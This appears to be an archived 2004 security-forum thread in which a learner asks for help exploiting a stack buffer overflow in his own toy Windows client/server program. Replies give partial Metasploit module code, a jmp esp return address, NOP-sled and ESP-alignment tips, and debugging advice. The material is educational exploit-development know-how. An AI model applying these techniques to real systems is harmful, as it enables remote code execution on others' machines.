I tried to understand the concept of a simple stack based buffer overflow. So I have written a simple client/server app in c ( i have included the source code below ). The client simply sends a string and the server responds this string. I have implemented a very stupid bof to see what must be done to exploit that vuln. U can control ebp and eip.
But there are some problems it is not possible to execute the shellcode. I tried the method with the jmp esp/call esp return address , I read that this is a common method for win32 systems(my system is a german w2k with sp4).
I will post the code of the client/server app ,the 'exploit' and an image taken from OllyDbg.
Hope that someone can help me to execute the shellcode , the shellcode is from metasploit.org it's the reverse shellcode for win32(127.0.0.1:2002) and the codeaddress for the jmp esp is also from metasploit.
printf("Verbunden mit %s:%s..\n",argv[1],argv[2]);
}
send(s,explbuf,strlen(explbuf),0);
closesocket(s); WSACleanup();
return 0;
}
and finally the image from ollydbg
hope that someone is interested to help me/ find out how this can be exploited , thx.
ps. Could be a nice tutorial
??? i can't attach something here are the three exe files for the bof. Link exe files
slynx
Jul 2 2004, 02:14 AM
I think you got a little over-excited with you're learning; you made the exploit for that much more complex than it needed to be, which I think is what in the end killed it. First of all, keep in mind that on little endian systems (like Windows) it is okay to have one null byte in the end (or beggining as you might have it...) because there's a trailing null either way. Just straight return into the NOP sled works just fine.
Also, from what I can tell, the jmp esp you're using is privelaged so you can't use that one for your exploit.....
Enough of my cruddy lectures..... here is my exploit (as a module for Metasploit Framework) to try to demonstrate simplicity on all sides.
'Description' => qq{ This is a simple demonstration exploit for a Windows buffer overflow. The target EXE was posted to GSO by brOmstar, and since he asked for help and since I've been bored here it is. Note that we don't have much space for shellcode since the buffer we are overflowing is only 256 bytes. Not exactley real-world, but close enough....enjoy :> },
'Refs' => [ 'http://www.governmentsecurity.org/forum/http://www.governmentsecurity.org/forum/index.php?showtopic=9820&st=0&#entry79539' ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows XP Professional (SP1)', 0x0022fd5c], # Return into about the middle of our NOP sled ], };
sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); }
sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
$self->PrintLine("[*] Running a Simple Windows Buffer Overflow"); $self->PrintLine("[*] Selected Target: " . $target->[0]);
# Connect to the target
my $s = Msf::Socket->new(); if (! $s->Tcp($target_host, $target_port)) { $self->PrintLine(""); $self->PrintLine("[*] Error: " . $s->GetError()); return(0); }
# I'm using a classic overflow technique, sticking the shellcode in the buffer that's being # overflowed, surrounding it with NOPS, and then returning into the middle of the NOP sled # just before my shellcode. A lot of exploit development is just trying differant things # untill you're debugger either says 'holy shit, wtf are you doing?!?' or you're program # suddenly jumps into something that wasn't supposed to be called yet.... Anyway I hope # this gives you a better idea of how the stack is smashed :>
# For this exploit we don't have much space for shellcode. I set the variable in this # exploit to a length of 300, since that gives us enough padding in front of and after # the shellcode. On my test box it works every time. It should on yours too.
# Thanks for curing my bordom; I needed something to do;p
In olly, right click on the esp register, follow in dump and make sure your shellcode is at esp before you jump to it. If it's not, you will have to manipulate the stack to put it there.
You'll know when you're executing because the upper left olly window will show you where your thread is stopping.
Another option is check if your other registers point to your shellcode directly.
To make sure you have the thread doing what you want, place a \xCC\ early in your shellcode and see if you break there. Once you know you control the thread of execution, then work your shellcode in and troubleshoot it from there.
Also, sometimes the location that you believe is a jmp esp may not be. So try several other addresses.
"\xD3\xD9\xE2\x77";#jmp esp Advapi32.dll WinXPSP1. This one I know is correct for XP.
Post your esp "follow in dump", results. what you're looking for is in the lower left window and should match the esp address. Your shellcode needs to be right there, otherwise you'll need to align it either by popping or manipulating esp with a add esp, ret function or similar
brOmstar
Jul 2 2004, 12:33 PM
I tried the msf code but i get an error while loading the exploit framework
Can't locate object method "new" via package "Msf::Exploit::simple_bof" (perhaps you forgot to load "Msf::Exploit::simple_bof"?) at /home/framework-2.1/lib/Msf/ UI.pm line 108.
I simply copied ur code in a file called simple_bof.pm and moved that to \home\framework-2.1\exploits.
Can u give me a hint what to do?
slynx
Jul 2 2004, 05:45 PM
yes, you cannot name the file simple_bof.pm ..... sorry i forgot to mention, as with all msf modules the name is derived from the following line:
CODE
package Msf::Exploit::simple_overflow;
so, for that file, it must be named 'simple_overflow.pm'
And, now that I'm more awake and sober, let me try to explain why your code did not execute as you wanted it to. First of all, keep in mind that setting EIP to point to a JMP ESP is fine, except that ESP will usually point to a location before your shellcode. In your Ollydbg screenshot ESP is 0x0022FAD0 which is not where you want to be to get to your code, you want to jump to around 0x0022F90C since that is where your code is. My fix for this (although I havn't seen it documented anywhere....) is to overwrite EBP with a value slightly larger than the location you want to jump in your code (so just a little bit down the NOP sled past the middle) then when you do a JMP ESP is seems to point to a little bit further up the stack than what you overwrote EBP with. Also, if you're not using EBP then it's probably best practice to just leave it filled with NOPs, so that 0x61616161 might have been what crashed it.
Hope that helps you a little more than my last post :>
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
